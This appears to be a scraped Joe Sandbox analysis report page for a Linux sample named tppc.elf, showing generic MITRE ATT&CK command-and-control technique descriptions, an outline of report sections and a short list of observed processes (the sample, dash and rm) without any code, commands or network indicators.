Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report tppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: tppc.elf PID: 6262, Parent PID: 6188

General

Chronological Activities

Analysis Process: dash PID: 6277, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6277, Parent PID: 4331

General

Chronological Activities

Analysis Process: dash PID: 6278, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6278, Parent PID: 4331

General

Chronological Activities

Linux Analysis Report
tppc.elf